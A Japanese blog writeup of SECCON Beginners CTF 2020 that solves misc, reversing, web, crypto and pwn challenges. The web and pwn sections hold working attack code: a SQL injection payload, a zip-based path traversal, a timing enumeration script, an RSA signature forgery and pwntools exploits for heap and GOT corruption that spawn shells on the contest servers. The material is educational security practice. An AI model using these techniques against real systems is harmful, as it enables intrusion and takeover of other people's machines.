h_nosonの日記

競プロ、CTFなど

SECCON Beginners CTF 2020 Writeup

h_nosonで参加して3445点獲得し結果は18位でした。

f:id:h_noson:20200524192337p:plain

Writeup

[Misc 50pts] Welcome

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

[Misc 53pts] emoemoencode

絵文字が並んでいてそれをflagに変換する問題

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

🍣のUTF-16LEを確認すると3cd863dfと3byte目が"c"になっていてflagの先頭に見えるので全て同じように3byte目だけ抜き出すとflagになった

ctf4b{stegan0graphy_by_em000000ji}

[Rev 62pts] mask

...
    puts("Putting on masks...");
    i = 0;
    while (i < iVar1) {
      local_98[(long)i] = flag[(long)i] & 0x75;
      local_58[(long)i] = flag[(long)i] & 0xeb;
      i = i + 1;
    }
    local_98[(long)iVar1] = 0;
    local_58[(long)iVar1] = 0;
    puts((char *)local_98);
    puts((char *)local_58);
    iVar1 = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
    if ((iVar1 == 0) &&
       (iVar1 = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), iVar1 == 0)) {
      puts("Correct! Submit your FLAG.");
    }
    else {
      puts("Wrong FLAG. Try again.");
    }
...

flagに0x75と0xebをそれぞれANDさせた文字列がわかっているのでそれらをORでつなげばflagになる

ctf4b{dont_reverse_face_mask}

[Rev 156pts] yakisoba

angrに投げる

#!/usr/bin/env python
import angr

p = angr.Project('./yakisoba')
st = p.factory.blank_state()
simgr = p.factory.simulation_manager(st)
simgr.explore(find=0x4006d9, avoid=0x400700)
print(simgr.one_found.posix.dumps(0))
ctf4b{sp4gh3tt1_r1pp3r1n0}

[Rev 279pts] ghost

/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit

逆ポーランド記法で書かれた言語で初めは独自の言語かと思ったけど調べたらPostScriptだとわかったので

https://www-cdf.fnal.gov/offline/PostScript/BLUEBOOK.PDF

を参考に読むと以下のようなコードであることがわかる

flag = input()
x = 1
for i, c in enumerate(flag):
  y = (x*((i+1)^ord(c)) ** 463 % 64711
  print(y)
  x = y % 128 + 1

よってこの逆変換を書けばflagになる

#!/usr/bin/env python

flag = ''
x = 1
for i, nstr in enumerate(open('./output.txt').read().split(' ')[:-1]):
    n = int(nstr)
    for c in range(0x100):
        y = pow(x*((i+1)^c), 463, 64711)
        if y == n:
            flag += chr(c)
            x = y % 128 + 1
            break
print(flag)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

[Web 55pts] Spy

意味ありげにページのロード時間が表示されており、名前をいくつか試してるとレスポンスが遅くなるものがあったので遅くなるものだけ集めて送るとflagがもらえた

#!/usr/bin/env python
import requests
import time

for employee in open('./employees.txt').read().split('\n'):
    start = time.time()
    r = requests.post('https://spy.quals.beginners.seccon.jp/', data = {'name': employee, 'password': 'a'})
    if time.time() - start > 0.3:
        print employee
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Web 150pts] Tweetstore

クエリにシングルクオートが含まれていると直前にバックスラッシュを入れてエスケープしているが、予めバックスラッシュを入れておくことでエスケープを回避できる。ユーザーネームがflagになっているのでuserをクエリ結果に結合して取り出した。

%\' union select user,user,now() --
ctf4b{is_postgres_your_friend?}

[Web 188pts] unzip

ディレクトリトラバーサルがあるが$_SESSION["files"]に含まれるファイル名以外は弾かれてしまうためどうにかして../../../flag.txtのような名前を$_SESSION["files"]に追加する必要がある。与えられたページにはzipファイルをアップロードするフォームがあり、それを展開して含まれているファイル名を$_SESSION["files"]に追加しているため../../../flag.txtを含んだzipファイルを送ればいい。

$ touch flag.txt
$ mkdir -p dir/dir/dir/dir
$ cd dir/dir/dir/dir
$ zip upload.zip ../../../../flag.txt
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

[Crypto 52pts] R&B

前頭の文字にしたがってrot13とbase64のデコードをしてflagを取り出す

#!/usr/bin/env python

enc = open('./encoded_flag').read()

def rot13(s):
    ret = ''
    for c in s:
        if 'A' <= c and c <= 'Z':
            ret += chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
        elif 'a' <= c and c <= 'z':
            ret += chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
        else:
            ret += c
    return ret

while True:
    if enc[0] == 'R':
        enc = rot13(enc[1:])
    elif enc[0] == 'B':
        enc = enc[1:].decode('base64')
    else:
        break
print enc
ctf4b{rot_base_rot_base_rot_base_base}

[Crypto 261pts] Noisy equations

Cをランダムな係数、fをflag、rを固定のベクトルとすると任意個のCf + r = xCの組が与えられる。これを2つ用意し差分をとることで(C-C')f = x - x'が得られる。よってC-C'逆行列を計算すればflagが特定できる。

#!/usr/bin/env python
from pwn import *
import numpy as np

s = remote('noisy-equations.quals.beginners.seccon.jp', 3000)

coeffs1 = np.mat(eval(s.recvline(False)), dtype='float')
answers1 = np.array(eval(s.recvline(False)))

s = remote('noisy-equations.quals.beginners.seccon.jp', 3000)

coeffs2 = np.mat(eval(s.recvline(False)), dtype='float')
answers2 = np.array(eval(s.recvline(False)))

print ''.join([chr(int(round(x))) for x in np.dot(np.asarray(np.linalg.inv(coeffs1 - coeffs2)), answers1 - answers2)])
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

[Crypto 319pts] RSA Calc

"F"と"1337"を含まない任意の文字列に対する署名を生成でき、最終的に"1337,F"とその署名を送ることでflagが得られる。実際にどう署名されているか見てみると

signature = pow(bytes_to_long(data), d, N)

生成時に乱数が使われていないため2つの署名を使って新しいメッセージに対する署名を作ることができる。つまり、2M2の署名を作って

sig(M) = sig(2M) / sig(2) = {(2M)}^d / {2}^d = {M}^d

#!/usr/bin/env python
from pwn import *
from Crypto.Util.number import *

s = remote('rsacalc.quals.beginners.seccon.jp', 10001)

s.recvuntil('N: ')
N = int(s.recvline(False))

def sign(data):
    s.sendlineafter('> ', '1')
    s.sendlineafter('data> ', long_to_bytes(data))
    s.recvuntil('Signature: ')
    return int(s.recvline(False), 0x10)

def exc(data, sig):
    s.sendlineafter('> ', '2')
    s.sendlineafter('data> ', long_to_bytes(data))
    s.sendlineafter('signature> ', hex(sig))

def extgcd(a, b):
    x0, y0, x1, y1 = 1, 0, 0, 1
    while b > 0:
        a, b, q = b, a % b, a // b
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return x0, y0

def modinv(x, n):
    return extgcd(x, n)[0]

M = bytes_to_long('1337,F')

sig = sign(M * 2) * modinv(sign(2), N) % N
exc(M, sig)
s.stream()
ctf4b{SIgn_n33ds_P4d&H4sh}

[Pwn 134pts] Beginner's Stack

メモリダンプが出力されていたり説明があったりとても教育的な問題。スタックバッファオーバーフローがあって戻り番地を書き換えるだけだが説明にあるようにretを挟んでalignmentを調整する必要がある

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./chall')
else:
    s = remote('bs.quals.beginners.seccon.jp', 9001)

ret = 0x400626
s.recvuntil('located at ')
win = int(s.recvuntil(')')[:-1], 0x10)
s.sendafter('Input: ', 'A' * 0x28 + p64(ret) + p64(win))
s.interactive()
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

[Pwn 293pts] Beginner's Heap

あるchunkをfreeするとtcacheに追加されるがそのchunkの先頭8バイトが次のchunkを指すポインタとして使われるため、そのポインタを__free_hookに書き換えるとmallocしたときに__free_hookが返ってくる。あとはそれをwinに書き換えればいい。

#!/usr/bin/env python
from pwn import *

def read(content):
    s.sendlineafter('\n> ', '1')
    time.sleep(0.1)
    s.send(content)

def malloc(content):
    s.sendlineafter('\n> ', '2')
    time.sleep(0.1)
    s.send(content)

def free():
    s.sendlineafter('\n> ', '3')

s = remote('bh.quals.beginners.seccon.jp', 9002)

s.recvuntil('<__free_hook>: ')
free_hook = int(s.recvline(False), 0x10)
s.recvuntil('<win>: ')
win = int(s.recvline(False), 0x10)

malloc('A')
free()
read('A' * 0x18 + p64(0x21) + p64(free_hook))
malloc('A')
read('A' * 0x18 + p64(0x31))
free()
malloc(p64(win))
free()
s.stream()
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

[Pwn 429pts] Elementary Stack

indexとvalueを入力してスタック上にある配列の要素に書き込みを行える。この時indexのチェックをしていないためスタック上の任意のアドレスに書き込みができる。始めはmainの戻り番地を書き換えてROPをしようとしたがループから抜け出す方法が見つからなかったため、GOTを書き換えてROPにつなげるようにした。indexやvalueを入力するときにheapに確保された領域をバッファとして使っており、そのアドレスはスタック上にあるためそれを上書きしてGOTをバッファとして使わせることにより、atolのGOTをprintfに書き換える。このprintfに"%3$p"を出力させることによりlibcのアドレスがわかるので再びatolのGOTを書き換えてRCE one gadgetにしてシェルを呼び出した。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./chall')
else:
    s = remote('es.quals.beginners.seccon.jp', 9003)

def write(index, value):
    s.sendlineafter('index: ', str(index))
    s.sendlineafter('value: ', value)

elf = ELF('./chall')
libc = ELF('./libc-2.27.so')

write(-2, str(elf.got['malloc']))

write(0, 'A' * 8 + p64(elf.symbols['printf']))
write(0, '%3$p')

libc_base = int(s.recvline(False), 0x10) - 0x110081
log.info('libc base: %#x' % libc_base)

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
write(0, 'A' * 8 + p64(libc_base + one_gadgets[2]))

s.interactive()
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}

[Pwn 473pts] ChildHeap

libc-2.29なのでtcacheでdouble freeはできない。UAFとcontentを入力するときのoff-by-one errorを使って最終的に__free_hookをone gadget RCEに書き換える。詳細は省略するが簡単な流れとしては

  1. off-by-one errorで次のchunkのサイズを書き換えられることを利用して0x120として確保したchunkを0x100で開放する
  2. それを繰り返し行いtcacheを溢れさせてchunkをunsorted binsに入れる
  3. このときfreeするchunkの後ろに偽chunkを用意しておいてfreeと同時にそれをmergeさせる
  4. これによってchunkをオーバーラップさせることができるのでサイズを0x500など大きな値にしてfreeしてlibcのアドレスをleak、tcache binsを上書きして__free_hookを書き換える
#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./childheap')
else:
    s = remote('childheap.quals.beginners.seccon.jp', 22476)

def alloc(size, content='A'):
    s.sendlineafter('> ', '1')
    s.sendlineafter('Size: ', str(size))
    s.sendafter('Content: ', content)

def delete(ans='y'):
    s.sendlineafter('> ', '2')
    s.recvuntil("Content: '")
    content = s.recvuntil("'")[:-1]
    s.sendlineafter('[y/n] ', ans)
    return content

def wipe():
    s.sendlineafter('> ', '3')

def exit():
    s.sendlineafter('> ', '0')

libc = ELF('./libc-2.29.so')

alloc(0xf8)
delete()
wipe()
alloc(0x18)
delete()
wipe()
alloc(0x118)
delete()
wipe()
alloc(0x18, 'A' * 0x18)
wipe()
alloc(0x118)
delete()
wipe()
alloc(0xf8)
delete()
heap_addr = u64(delete('n').ljust(8, '\0'))
log.info('heap address: %#x' % heap_addr)

for i in range(5):
    wipe()
    alloc(0x18)
    delete()
    wipe()
    alloc(0x118)
    delete()
    wipe()
    alloc(0x18, 'A' * 0x18)
    wipe()
    alloc(0x118)
    delete()

wipe()
alloc(0x18)
delete()
wipe()
alloc(0x118)
delete()
wipe()
alloc(0x128, 'A' * 0x10 + p64(0x40) + p64(0x20) + p64(heap_addr + 0x990) * 2)
delete()
wipe()
alloc(0x28)
delete()
wipe()
alloc(0x18, p64(heap_addr + 0x890) * 2 + p64(0x20))
wipe()
alloc(0x118, p64(heap_addr + 0x870) * 2 + 'A' * 0xe8 + p64(0x41) + p64(heap_addr + 0x9d0) * 2)
delete()
wipe()

alloc(0x158, 'A' * 0x138 + p64(0x501))
delete()
wipe()
alloc(0x180)
wipe()
alloc(0x180)
wipe()
alloc(0x180, 'A' * 0x78 + p64(0x21) + 'A' * 0x18 + p64(0x21))
wipe()
alloc(0x128)
delete()
libc.address = u64(delete('n').ljust(8, '\0')) - 0x1e4ca0
log.info('libc base: %#x' % libc.address)

wipe()
alloc(0x38)
delete()
wipe()
alloc(0x158, 'A' * 0x138 + p64(0x41) + p64(libc.symbols['__free_hook']))
wipe()
alloc(0x38)
wipe()
one_gadgets = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
alloc(0x38, p64(libc.address + one_gadgets[3]))
wipe()
alloc(0x18)
delete()

s.interactive()
ctf4b{h34p_h45_gr0wn_1n70_4_ch1ld...r34lly??}

[Pwn 491pts] flip

一番面白かった。アドレスを指定してそのバイトの2ビットだけ反転できる。2ビットだけ書き換えてシェルを取るのはおそらく不可能なのでまずはループを発生させることを考えるとexitのGOTを_start+6に書き換えるとループを発生させられることがわかった。これでゆっくり他の値を書き換えて最後に一気に発火させることができる。最終的な目標としてはどれかのGOTをsystemやone gadget RCEに書き換えることだがmainで使われている関数を書き換えてしまうと書き換えている途中で落ちてしまうため、mainで使われていない関数(setbuf, __stack_chk_fail)に注目する。

  • setbuf: initで一度使われており、libcのアドレスがすでに解決されてそのアドレスで上書きされている。ただし、exitだけを書き換えた段階では_startに戻るためinitが呼び出されてsetbufも呼ばれる。
  • __stack_chk_fail: 一度も呼ばれておらず、値は__stack_chk_fail.plt+6になっている

setbufはlibcのアドレスになっていてlibc上の関数を呼び出すためには便利だがこのままだと書き換えている途中で呼ばれてしまうので、まずは__stack_chk_failをmainに書き換え、exitを__stack_chk_fail.pltにすることでmain内でループをさせてinitが呼ばれないようにする。

これでsetbufが安全に書き換えられるようになったので、相対アドレスを使ってputsに書き換えstderrを_IO_2_1_stderr_+8にしてlibcのアドレスをleakする(必ず成功するわけではない)。このとき一瞬だけexitを_startに戻してまたmainに戻せばまた安全にsetbufを書き換えられる。

libcのアドレスがわかったのであとはsetbufをsystemに書き換え、stderrが"/bin/sh"を指すようにすればシェルが起動できる。

#!/usr/bin/env python
from pwn import *

context.log_level = 'WARNING'

elf = ELF('./flip')
libc = ELF('./libc-2.27.so')

def connect():
    if len(sys.argv) == 1:
        return process('./flip')
    else:
        return remote('flip.quals.beginners.seccon.jp', 17539)

def flip(addr, first, second):
    s.sendlineafter('Input address >> ', str(addr))
    s.sendlineafter('Which bit (0 ~ 7) >> ', str(first))
    s.sendlineafter('Which bit (0 ~ 7) >> ', str(second))
    s.recvline()

def replace(addr, frm, to):
    diff = frm ^ to
    index = 0
    bit = 0
    queries = [[] for i in range(8)]
    while diff:
        if diff & 1:
            queries[index].append(bit)
        bit += 1
        if bit == 8:
            index += 1
            bit = 0
        diff >>= 1
    for i in range(8):
        if len(queries[i]) % 2 == 1:
            queries[i].append(-1)
    for i, query in enumerate(queries):
        for j in range(0, len(query), 2):
            flip(addr + i, query[j], query[j+1])

count = 0
p = log.progress('Brute forcing', level='WARNING')
while True:
    count += 1
    p.status(hex(count))

    s = connect()

    # exit.plt+6 -> _start+6
    replace(elf.got['exit'], 0x4006d6, 0x4006e6)

    # _start+6 -> _start
    replace(elf.got['exit'], 0x4006e6, 0x4006e0)

    # __stack_chk_fail.plt+6 -> main
    replace(elf.got['__stack_chk_fail'], 0x400676, 0x4007fa)

    # _start -> __stack_chk_fail.plt (main)
    replace(elf.got['exit'], 0x4006e0, 0x400670)

    # setbuf -> puts
    replace(elf.got['setbuf'], 0x884d0, 0x64e80)

    # _IO_2_1_stderr_ -> _IO_2_1_stderr_ + 8
    replace(elf.symbols['stderr'], 0x7f8b274e0680, 0x7f8b274e0688)

    # __stack_chk_fail.plt (main) -> _start
    replace(elf.got['exit'], 0x400670, 0x4006e0)

    try:
        if s.recv(4) == 'Inpu':
            s.close()
            continue
        p.success()
    except Exception:
        s.close()
        continue

    libc.address = u64(s.recv(6).ljust(8, '\0')) - 0x3ec703
    log.warning('libc base: %#x' % libc.address)

    # _start -> __stack_chk_fail.plt (main)
    replace(elf.got['exit'], 0x4006e0, 0x400670)

    # puts -> setbuf
    replace(elf.got['setbuf'], 0x64e80, 0x884d0)

    # setbuf -> system
    replace(elf.got['setbuf'], libc.symbols['setbuf'], libc.symbols['system'])

    # 0xfbad2087 -> "/bin/sh"
    replace(libc.symbols['_IO_2_1_stderr_'], 0xfbad2087, u64('/bin/sh\0'))

    # _IO_2_1_stderr_ + 8 -> _IO_2_1_stderr_
    replace(elf.symbols['stderr'], libc.symbols['_IO_2_1_stderr_'] + 8, libc.symbols['_IO_2_1_stderr_'])

    # __stack_chk_fail.plt (main) -> _start
    replace(elf.got['exit'], 0x400670, 0x4006e0)

    s.interactive()
ctf4b{l34d_b17fl1p_70_5h3ll!}